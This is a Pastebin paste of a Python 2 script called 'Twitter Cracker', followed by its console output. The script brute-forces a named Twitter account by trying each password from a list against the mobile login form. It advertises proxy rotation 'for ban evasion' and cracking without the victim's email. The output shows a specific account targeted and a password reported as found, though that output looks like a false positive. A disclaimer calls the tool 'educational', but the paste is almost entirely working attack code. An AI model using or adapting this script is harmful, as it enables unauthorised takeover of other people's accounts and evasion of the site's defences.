Advertisement
Guest User

Untitled

a guest
Jul 5th, 2016
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.82 KB | None | 0 0
  1. #!usr/bin/python
  2. #Twitter Cracker Version 1 can crack into Twitter Database 100% without Interruption By Firewall !
  3. #This program is for educational purposes only.
  4. #Don't attack people Twitter accounts it's illegal !
  5. #If you want to crack into someone's account, you must have the permission of the user.
  6.  
  7.  
  8.  
  9. import sys
  10. import random
  11. import mechanize
  12. import cookielib
  13.  
  14.  
  15. GHT = '''
  16. +=======================================+
  17. |..........Twitter Cracker v 2..........|
  18. +---------------------------------------+
  19. |#Date: 05/07/2016 |
  20. |#This tool is made for pentesting. |
  21. |#Changing the Description of this tool |
  22. |Won't made you the coder ^_^ !!! |
  23. |#Respect Coderz ^_^ |
  24. +=======================================+
  25. |..........Twitter Cracker v 2..........|
  26. +---------------------------------------+
  27. '''
  28. print "Used and Abused!"
  29. print "Changelog: Added poxy Support "
  30. print "Modified with current twitter login version : 05.07.2016"
  31. print "proxy support added for ban evasion"
  32. print "Note: - This tool can crack Twitter account even if you don't have the email of your victim"
  33. print "# Hit CTRL+C to quit the program"
  34.  
  35. print "#note this is not an efficient cracking"
  36.  
  37. username = str(raw_input("# Enter |Username| Twitter : "))
  38. passwordlist = str(raw_input("Enter the name of the password list file : "))
  39. proxy = open(raw_input('# Enter proxy list :'),'r')
  40.  
  41. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  42.  
  43.  
  44.  
  45. login = 'https://mobile.twitter.com/session'
  46. home = 'https://mobile.twitter.com/home'
  47. error = ' https://mobile.twitter.com/login/error?username_or_email='+ username +'&redirect_after_login=%2F'
  48. def attack(password):
  49.  
  50. try:
  51. sys.stdout.write("\r[*] trying %s.. " % password)
  52. sys.stdout.flush()
  53. br.addheaders = [('User-agent', random.choice(useragents))]
  54. site = br.open(login)
  55. br.select_form(nr=0)
  56.  
  57. br.form['session[username_or_email]'] = username
  58. br.form['session[password]'] = password
  59. br.submit()
  60. log = br.geturl()
  61. print(log)
  62. print(error)
  63. if log != error:
  64. print "\n\n\n [*] Password Twitter found .. !!"
  65. print "\n [*] Password : %s\n" % (password)
  66. sys.exit(1)
  67. except KeyboardInterrupt:
  68. print "\n[*] Exiting program .. "
  69. sys.exit(1)
  70.  
  71. def search():
  72. global password
  73. for password in passwords:
  74. attack(password.replace("\n",""))
  75.  
  76.  
  77.  
  78. def check():
  79.  
  80. global br
  81. global passwords
  82. try:
  83. br = mechanize.Browser()
  84. cj = cookielib.LWPCookieJar()
  85. br.set_handle_robots(False)
  86. br.set_handle_equiv(True)
  87. br.set_handle_referer(True)
  88. br.set_handle_redirect(True)
  89. br.set_cookiejar(cj)
  90. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  91. except KeyboardInterrupt:
  92. print "\n[*] Exiting program ..\n"
  93. sys.exit(1)
  94. try:
  95. list = open(passwordlist, "r")
  96. passwords = list.readlines()
  97. k = 0
  98. while k < len(passwords):
  99. passwords[k] = passwords[k].strip()
  100. k += 1
  101. except IOError:
  102. print "\n [*] Error: check your password list path \n"
  103. sys.exit(1)
  104. except KeyboardInterrupt:
  105. print "\n [*] Exiting program ..\n"
  106. sys.exit(1)
  107. try:
  108. print GHT
  109. print " [*] Account to crack : %s" % (username)
  110. print " [*] Loaded :" , len(passwords), "passwords"
  111. print " [*] Cracking, please wait ..."
  112. except KeyboardInterrupt:
  113. print "\n [*] Exiting program ..\n"
  114. sys.exit(1)
  115. try:
  116. search()
  117. attack(password)
  118. except KeyboardInterrupt:
  119. print "\n [*] Exiting program ..\n"
  120. sys.exit(1)
  121.  
  122. if __name__ == '__main__':
  123. check()
  124.  
  125.  
  126.  
  127.  
  128.  
  129. *******************************************************************output*********************************************
  130. Used and Abused!
  131. Changelog: Added poxy Support
  132. Modified with current twitter login version : 05.07.2016
  133. proxy support added for ban evasion
  134. Note: - This tool can crack Twitter account even if you don't have the email of your victim
  135. # Hit CTRL+C to quit the program
  136. #note this is not an efficient cracking
  137. # Enter |Username| Twitter : JustV_Live
  138. Enter the name of the password list file : pwd.lst
  139. # Enter proxy list :proxy.lst
  140.  
  141. +=======================================+
  142. |..........Twitter Cracker v 1..........|
  143. +---------------------------------------+
  144. |#Author: Mauritania Attacker/ |
  145. |Modified by:twitter.com/BlackHatSatanic|
  146. |#Contact: Behind you ^_^ |
  147. |#Date: 05/07/2016 |
  148. |#This tool is made for pentesting. |
  149. |#Changing the Description of this tool |
  150. |Won't made you the coder ^_^ !!! |
  151. |#Respect Coderz ^_^ |
  152. |#I take no responsibilities for the |
  153. | use of this program ! |
  154. | |
  155. | |
  156. +=======================================+
  157. |..........Twitter Cracker v 2..........|
  158. +---------------------------------------+
  159.  
  160. [*] Account to crack : JustV_Live
  161. [*] Loaded : 2 passwords
  162. [*] Cracking, please wait ...
  163.  
  164. [*] trying dfnsndfsd..
  165. [*] redirected to https://mobile.twitter.com/login/error?username_or_email=JustV_Live&redirect_after_login=%2F
  166. [*]if redirected to = https://mobile.twitter.com/login/error?username_or_email=JustV_Live&redirect_after_login=%2F try next password
  167.  
  168.  
  169.  
  170. [*] Password Twitter found .. !!
  171.  
  172. [*] Password : dfnsndfsd
  173.  
  174. >>>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement